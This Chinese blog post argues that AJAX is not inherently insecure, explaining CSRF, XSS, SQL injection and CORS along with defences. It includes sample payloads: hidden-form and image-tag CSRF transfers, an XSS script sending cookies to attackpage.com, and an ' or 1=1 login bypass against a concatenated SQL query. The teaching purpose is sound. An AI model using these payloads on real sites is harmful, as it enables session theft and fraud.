开篇三问
AJAX请求真的不安全么？
AJAX请求哪里不安全？
怎么样让AJAX请求更安全？
前言
本文包含的内容较多，包括AJAX，CORS，XSS，CSRF等内容，要完整的看完并理解需要付出一定的时间。
另外，见解有限，如有描述不当之处，请帮忙及时指出。
正文开始…
从入坑前端开始，一直到现在，AJAX请求都是以极高的频率重复出现，也解决过不少AJAX中遇到的问题，如跨域调试，错误调试等等。
从这种，发现了一个共通现象：那就是每次和后台人员对接时，他们都会提到AJAX请求不安全，请用普通http请求！
虽然很多时候，都是经过多翻口舌之争后，最终后台那边妥协，允许部分符合条件的AJAX请求。但是，我却很纠结一个问题：AJAX请求真的不安全么？为什么我自己写后台时并没有发现这个问题？
于是，开始准备搜集资料，结合自己已有的认知，整理成一份解决方案，分析AJAX请求真的不安全么？哪里不安全？，后续遇到类似的问题就直接向对方抛出一篇文章
大纲
AJAX请求真的不安全么
AJAX不安全的说法从何而来
常见的几种Web前端安全问题
CSRF简介
CSRF与AJAX的关系
XSS简介
XSS与AJAX的关系
SQL注入简介
SQL注入与AJAX的关系
AJAX和HTTP请求的区别
CORS与AJAX安全性之间的关联
CORS与AJAX关系的简介
为什么要配置CORS？
CORS会配置些什么信息？
CORS Origin: *的安全性
再看，AJAX请求真的不安全么？
AJAX请求哪里不安全？
怎么样让AJAX请求更安全？
AJAX请求真的不安全么
首先，先说一个定论：AJAX请求是否安全，由服务端（后台）决定
有这样一个说法：
如果某个Web应用具备良好的安全性，那么再怎么用“不安全的AJAX”也削弱不了它的安全性，反之如果应用本身存在漏洞，不管用何种技术请求，它都是不安全的
为何会有这种说法？因为在Web应用中，客户端输入不可信是一个基本原则
AJAX不安全的说法从何而来？
在AJAX出现时，那时的服务端还是很古老的那一批，因此完全没有考虑到AJAX出现后，前端请求方式会变得异常复杂，造成以前的安全策略已经无法满足要求了，导致大批的后台安全漏洞曝光。。。
很显然，都是因为AJAX出现后曝光了更多的安全漏洞，导致它看起来很危险（因为AJAX出现后，请求方式变多了，以前的架构在新的请求中就可能出现更多漏洞）
So，AJAX不安全的说法自然扩散到了各个角落。
常见的几种Web前端安全问题
要知道AJAX请求是否安全，那么就得先知道Web前端中到底有那几种安全问题
1.XSS（跨站脚本攻击）（cross-site scripting）
-> 伪造会话（基于XSS实现CSRF）
-> 劫持cookie
-> 恶意代码执行
2.CSRF（跨站请求伪造）（cross-site request forgery）
-> 伪造用户身份操作
3. SQL注入
...（其它暂且不提）
如上，Web前端中的安全问题主要就是这几大类（仅列举部分做分析），所以我们首先要分析AJAX与这几大类之间的关系。（XSS和CSRF，在下文也会做简单介绍。）
CSRF简介
CSRF，特征很简单：冒用用户身份，进行恶意操作
时至今日，这项安全漏洞已经被人们剖析的很透彻了，随便Google，百度之，都会找到很多的解释。这里也用一张图来先做简单描述：
注，下面介绍参考了来源文章中的描述，譬如图就是参考了来源中的博文后重绘的
所以，我们看到关键条件是：
采用cookie来进行用户校验
登录受信任网站A，并在本地生成Cookie
在不登出A的情况下，访问危险网站B
一般在(4)处恶意网站(B)的攻击手段如下（必须是指向A的地址，否则无法带上cookie）：
// 1.譬如在网站内的图片资源中潜入恶意的转账操作
<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>
// 2.构建恶意的隐藏表单，并通过脚本提交恶意请求
<iframe style="display: none;" name="csrf-frame">iframe>
<form method='POST' action='http://www.bank.example/transfer' target="csrf-frame" id="csrf-form">
<input type='hidden' name='toBankId' value='hello'>
<input type='hidden' name='amount' value='1000000'>
<input type='submit' value='submit'>
form>
<script>document.getElementById("csrf-form").submit()script>
而且，从头到尾，攻击网站都没有获取到过 cookie，都是通过浏览器间接实现（利用Web的cookie隐式身份验证机制），所以HttpOnly并不会影响这个攻击
最后说下，几种常见的CSRF防御手段：
验证HTTP Referer字段（非常简单，但是鉴于客户端并不可信任，所以并不是很安全）
防止CSRF，检查Referer字段简单直接，但是其完全依赖浏览器发送正确的Referer字段。
虽然http协议对此字段的内容有明确的规定，但并无法保证来访的浏览器的具体实现，
亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器，篡改其Referer字段的可能。在请求地址中添加token并验证
譬如post中，以参数的形式加入一个随机产生的token
CSRF与AJAX的关系
上文中，我们看到CSRF的前提是cookie验证用户身份，那么它与AJAX的关系大么？
我们先分析AJAX中带cookie验证的情况：
AJAX受到浏览器的同源策略限制
AJAX默认无法请求跨域的接口
当然后台可以配置Access-Control-Allow-Origin: *之类的允许所有的跨域请求AJAX请求无法携带跨域cookie
如果强行开启withCredentials，必须服务端配合认证，无法用作攻击
嗯哼…看到这，基本就可以认为CSRF与AJAX请求无缘了……..
譬如假设上图中第4部分的请求由AJAX发起，假设网站A已经允许了Access-Control-Allow-Origin: *，由于网站B与网站A是不同域名，所以存在跨域，根据同源策略，请求时根本就无法携带cookie，故而无法通过身份认证，攻击失败…..
就算强行开启withCredentials，携带跨域cookie，但是由于服务端并不会单独配置网站B的跨域cookie（需配置Access-Control-Allow-Credentials: true，而且这时候不允许设置Allow-Origin: *），所以肯定认证失败。
可以看到，就算Access-Control-Allow-Origin: *允许所有来源的AJAX请求，跨域的cookie默认情况下仍然是无法携带的，无法CSRF
所以说，结论是：CSRF与AJAX无关
XSS简介
既然CSRF与AJAX关系不大，那么XSS应该会与AJAX有很大关系吧？（要不然为什么一直说AJAX请求不安全，对吧）。那么请继续看下去（本文中只限JS范畴）
XSS（cross-site scripting），看起来简写应该是css更合适。但是为了和层叠式样式表区分，就用XSS简写表示
XSS的特征也可以概括为：跨域脚本注入，攻击者通过某种方式将恶意代码注入到网页上，然后其他用户观看到被注入的页面内容后会受到特定攻击。
相比CSRF，XSS囊括的内容更多，而且往往是多种攻击形式组合而成，这里以前文中介绍的几种为例：
1.cookie劫持
同样，页面中有一个评论输入，输入后会，因为后台的漏洞，没有过滤特殊字符，会直接明文保存到数据库中，然后展示到网页时直接展示明文数据，那么如下
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form action="saveComment.jsp" method="post">
请输入评论内容：<BR>
<input name="content" type="text">
<input type="submit" value="确认">
form>
然后攻击者分析后，输入
<script>window.open("http://www.attackpage.com/record?secret=" + document.cookie)script>
保存文章。很简单的代码，由于没有过滤脚本，那么其它用户登陆后，在看到这篇文章时就会自动将他们的cookie信息都发送到了攻击者的服务器。
攻击者可以在cookie（譬如jsessionid对应的session）有效期内拿它们冒充用户操作。
需要注意，这里和CSRF的区别是，这里是拿到了cookie后主动冒充用户的，而CSRF中根本就不知cookie，仅利用浏览器的隐式校验方式冒充用户。
2.会话伪造
同样是评论漏洞的示例。
攻击者输入（举例比喻）
<img src=http://www.bank.example/transfer?toBankId=hello&amount=1000000 width='0' height='0'>
然后，接下来发生的故事就和CSRF中提到的一致。这种情况就是基于XSS而开展的CSRF，也有人喜欢称之为XSRF
需要注意，这里并没有自己拿到cookie，而是CSRF中提到的利用浏览器的隐式验证机制来冒充用户。
3.其它恶意代码执行
其实上面的cookie劫持以及会话伪造都算是恶意代码执行，为了区别，这里就专指前端的流氓JS。
譬如前面的评论中的输入可以是：
譬如市面上盛行的网页游戏弹窗等。
譬如干脆直接让这个页面卡死都可以。
譬如无限循环。
这里再提一点，上述都是从前端输入作为入口的，但实际上有一类的输入也不可忽视，那就是：富文本攻击
它的特点就是： 富文本中注入了脚本，并且前后端未进行过滤，导致直接输出到了页面中
因为存在很多页面，都是将富文本内容展示到网页上的，没有进行过滤（哪怕时至今日，仍然有不少页面），这样只要富文本中有注入脚本，基本就中招了…..
结论：
只要最终能向页面输出可执行的脚本语句，那么就是有漏洞，XSS攻击都有可能发生。
而且，基本上xss漏洞是很广泛的，虽然攻击类型很被动，也需要大量时间分析，但胜在大量的网站上都存在（特别是那种长期不更新的）
再提一点。上述的介绍更多的是从造成的后果来看，但其实如果从攻击手动来看的话可以分为几大类型：
反射型XSS攻击（直接通过URL注入，而且很多浏览器都自带防御）
存储型XSS攻击（存储到DB后读取时注入）
还有一个DOM-Based型。
上述示例中都是存储型，具体更多内容网上已经有很详细的资料，这里不再继续深入，放一张图巩固下。
如何预防XSS：
1、输入过滤，不信任用户的任何输入，过滤其中的<、>、/等可能导致脚本注入的特殊字符，或者过滤script、javascript等脚本关键字，或者对输入数据的长度进行限制等等，还得考虑攻击者使用十六进制编码来输入脚本的方式。
2、输出进行编码，和输入过滤类似，不过是从输出上着手，数据输出到页面时，经过HtmlEncoder等工具编码，这样就不会存在直接输出可执行的脚本了
3、cookie设置http-only，这样用脚本就无法获取cookie了（这样只有浏览器向Web服务器发起请求的时才会带上cookie字段，避免了XSS攻击利用JavaScript的document.cookie获取cookie）
4、Cookie防盗，尽可能地避免在Cookie中泄露隐私，如用户名、密码等；或者，为了防止重放攻击，可以将Cookie和IP进行绑定，这样也可以阻止攻击者冒充正常用户的身份。
注意，特别是后台，一定不能信任前端的输入，需要过滤与校验
XSS与AJAX的关系
以上分析了XSS造成一些影响与问题，仍然发现：与AJAX关系不大，因为这些问题不管用不用AJAX都会发生。
看看这种情况，譬如上述的富文本注入中：
某个接口采用AJAX交互
AJAX请求完后将对应富文本字段显示到了页面上-譬如innerHTML
但是，这真的与AJAX无关，这是前后端没有进行输入输出过滤而造成的后果。
所以，还是那句话：如果某个Web应用具备良好的安全性，那么再怎么用“不安全的AJAX”也削弱不了它的安全性，反之如果应用本身存在漏洞，不管用何种技术请求，它都是不安全的
SQL注入简介
sql注入展开将也是一门很大的学问，很早以前更是大行其道（当然，现在…），这里仅仅举几个最极端的示例。
前提是后台没有过滤前端的输入数据，否则根本无法生效
假设页面A中有一个登陆查询存在拙劣的sql注入漏洞，这样子的：（最极端，最傻的情况）
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<form action="login.jsp" method="post">
请输入用户名与密码：<BR>
<input name="name" type="text">
<input name="password" type="text">
<input type="submit" value="登陆">
form>
在接收到登陆请求后，服务端的实际执行代码时是：
String sql = "SELECT * FROM users WHERE name = '" + name + "' AND password = '" + password + "'";
然而有攻击者分析出后台可能存在漏洞，尝试sql注入攻击，输入
name = ' or 1=1
password = anything
那么这样，后台接收到数据后，实际上查询的结果是
SELECT * FROM users WHERE name = ' ' or 1=1 AND password = 'anything'
故而，攻击者成功的绕过的用户名，利用后台漏洞登陆了。
当然了，像这类这么低级的漏洞，现象几乎已经不存在了，往往这类型漏洞需要仔细分析，耗时。（又或者是有内奸…..）
SQL注入与AJAX的关系
额，从上述的示例中看不出和AJAX有什么关系。但是我们可以这样假设：
有一个接口，接收
AJAX post的数据数据中有一个字段
name，后台接收到后没有进行过滤，直接如上面的演示一样，执行sql语句了所以AJAX中如果给那个字段传入非法的注入信息，就会触发这个漏洞，导致攻击生效
对，就是这样极端的情况下才会发生，而且与AJAX并没有关系，因为换成任何一种其它请求都会有类似的情况….
所以说，结论是：SQL注入与AJAX无关
AJAX和HTTP请求的区别
从本质上将：AJAX就是浏览器发出的HTTP请求，只不过是浏览器加上了一个同源策略限制而已。AJAX请求的XMLHTTPRequest对象就是浏览器开放给JS调用HTTP请求用的。
那么AJAX和HTTP的区别呢？列出以下几点：
AJAX请求受到浏览器的同源策略限制，存在跨域问题
AJAX在进行复杂请求时，浏览器会预先发出OPTIONS预检（HTTP自己是不会预检的）
从使用角度上说，AJAX使用简单一点，少了些底层细节，多了些浏览器特性（如自动带上同域cookie等）
所以说，和认证上的HTTP请求的区别就是-多了一次浏览器的封装而已（浏览器会有自己的预处理，加上特定限制）
但是，从最终发出的报文来看，内容都是一样的（HTTP协议规范的内容），AJAX是发送HTTP请求的一种方式
所以从这一点可以得出一个结论：AJAX本质上安全性和HTTP请求一样
CORS与AJAX安全性之间的关联
按照前文中提到的内容，基本无法得出AJAX与请求不安全的关联。那么接下来，再继续分析，如果使用了跨域资源共享（CORS）后的安全性。(因为往往ajax都会伴随着CORS)
CORS与AJAX关系的简介
这是一个跨域共享方案，大致流程就是：（仅以复杂请求的预检举例-这一部分要求提前掌握CORS相关知识）
前端AJAX请求前发出一个OPTIONS预检，会带一堆相关头部发送给服务端
服务端在接受到预检时，检查头部，来源等信息是否合法，合法则接下来允许正常的请求，
否则直接无情的拒绝掉浏览器端如果收到服务端拒绝的信息（响应头部检查），就抛出对应错误。
否则就是正常的响应，接下来发出真正的请求（如POST）
请求和响应的头部信息大概如下：
Request Headers
// 在CORS中专门作为Origin信息供后端比对，表示来源域。
Origin: http://xxx
Access-Control-Request-Headers: X-Requested-With
// 所有用setRequestHeader方法设置的头部都将会以逗号隔开的形式包含在这个头中，一般POST请求中就会带上
Access-Control-Request-Method: OPTIONS
Response Headers
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx
最终，客户端发出的请求，必须符合服务端的校验规则才能正确，服务端才会返回正确头部，否则只会请求失败。报跨域错误。
以上仅是简介，更多信息可以参考来源中的ajax跨域，这应该是最全的解决方案了
为什么要配置CORS？
因为同源策略限制，AJAX无法请求跨域资源，CORS可以解决AJAX跨域请求问题。
因此：在本文中，配置CORS只是为了AJAX能跨域请求
CORS会配置些什么信息？
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Origin: http://xxx
如上，加上这个配置后，必须符合要求的才算是正常的请求，否则就会拒绝掉，一般AJAX跨域的话都会有OPTIONS，所以在预检中就做了这一步。
可以看到，关键的可变信息是：Access-Control-Allow-Origin: http://xxx
这个配置就是域名白名单，规定在什么样的域名下才能进行AJAX跨域请求。
CORS Origin: *的安全性
关键问题来了，在上面的CORS配置是这样的：
Access-Control-Allow-Origin: http://xxx
但是这个配置只允许特定域名访问，鉴于前端的复杂性，有时候调试起来不是很方便，因此有时候，会偷懒的设置为：
Access-Control-Allow-Origin: *
这个代表所有来源的跨域AJAX请求都能正常响应。
接下来我们再来分析设置Origin: *可能带来哪些问题。（都是基于AJAX的情况）
问题1：会对cookie认证造成影响么？
不会。虽然*代表了所有来源都能正常请求，但是同源策略下，是无法带上跨域cookie的。因此根本无法用身份验证。
而且，就算用withCredentials强行带上跨域cookie，因为后台没有支持，所以会报错。（这可以看成是CORSs模型的最后一道防线）
再者，后台就算配置Access-Control-Allow-Credentials允许跨域cookie，但是这时候的安全策略是Origin不允许为，必须是一个明确的地址。（否则你就可以看到浏览器的报错信息-跨域cookie时，Origin不允许为）
问题2：如果伪造Origin头部呢？
首先，标准的浏览器中是不允许你伪造的（除非有严重漏洞），所以一般需要通过模拟客户端请求伪造。
但是。在非浏览器情况下，本来就没有同源策略。这又是何必…..
所以说，伪造Origin与CORS并没有关系。
问题3：如果后台本来就存在漏洞呢？
做这样一个假设，假设用户所在网络的内网中有一台内网服务器，并且配置了允许所有的跨域请求：（当然，外网是请求不到内网的）
// 允许任何来自任意域的跨域请求
Access-Control-Allow-Origin: *
再假设内网服务器上恰巧存在敏感资源，并且没有额外设防，只要内网就能访问。譬如：
192.168.111.23/users.md
然后用户访问了恶意网页，而像HTML之类的网页都是下载到本地执行的，正好网页内有恶意代码，去向192.168.111.23/users.md请求资源，再将接收到的服务端返回发送到攻击者服务器。（因为加了Origin为*，而且AJAX是由本地浏览器发出的，所以用户下载到本地的恶意网站是可以访问到用户内网中的后台的）
然后这些敏感数据就这样被盗取了。
But，这是因为服务端漏洞而存在的问题，设置Origin为的后台上为何要放置敏感资源？正常设置为Origin为的最大作用是用作公共API。
而且更重要的是，为何敏感资源就这样轻易的被获取了？为什么没有二次验证？
SO，后台本身有漏洞，所以才导致被攻击，AJAX恰好是攻击的手段之一（除了AJAX外还会有其它的方式），所以很多锅都甩到了AJAX头上。
这样，可以得出一个保守点的结论：
Origin如果不是，AJAX请求并不会有安全问题，如果是，可能会由于后台的漏洞，不经意间，AJAX就被作为一种攻击手段了，导致了出现AJAX不安全的说法
再看，AJAX请求真的不安全么？
仍然是最初的结论：
如果某个Web应用具备良好的安全性，那么再怎么用
不安全的AJAX也削弱不了它的安全性，反之如果应用本身存在漏洞，不管用何种技术请求，它都是不安全的
我们可以看到，XSS也好，CSRF也好，以及其它隐藏的可能漏洞也好，本质上都是后台已有漏洞造成的问题，AJAX最多是被用作一种攻击手段（甚至某些里面AJAX还无法使用）
提到AJAX请求不安全的，譬如有CORS里面配置Origin: *造成某些极端情况下能通过AJAX发出攻击。但事实上这也是其中的一种攻击手段而已，没有AJAX，该不安全的仍然不安全。
譬如还有的说法是：因为在AJAX出现以前，如果出现安全漏洞，容易被察觉，但AJAX是异步的，更容易隐式的出现安全问题…..这也与安全性的本质无关。
最重要一点，从Web应用安全角度来谈，Web应用必须从不信任客户端。所以不要再把锅甩给AJAX。
AJAX请求哪里不安全？
同上，AJAX本身并不存在这种安全问题。不过有一点需注意，如果使用了CORS方案。
Allow-Origin可以设置特定的值，过滤特定的白名单
对于一些公共的API，可以直接将Allow-Origin设置为
*当然，如果确认后台没有这些隐藏漏洞，可以直接使用
*，毕竟也只是针对浏览器的同源策略而已，影响没有那么大。
怎么样让AJAX请求更安全？
仍然是文中反复提到的结论：
让Web后台更安全，则AJAX请求也更安全，反之后台有漏洞，不管怎么样都是不安全的
写在最后的话
这样的话，应该可以把AJAX不安全的锅甩掉了吧？
参考资料
https://dwz.cn/4L494n0l
blog.csdn.net/ghsau/article/details/17027893
cnblogs.com/lovesong/p/5199623.html
blog.csdn.net/wei00d6ra/article/details/39137849
https://segmentfault.com/q/1010000002500378/
blog.csdn.net/fengyinchao/article/details/50775121
https://segmentfault.com/a/1190000012469713
还没有评论，来说两句吧...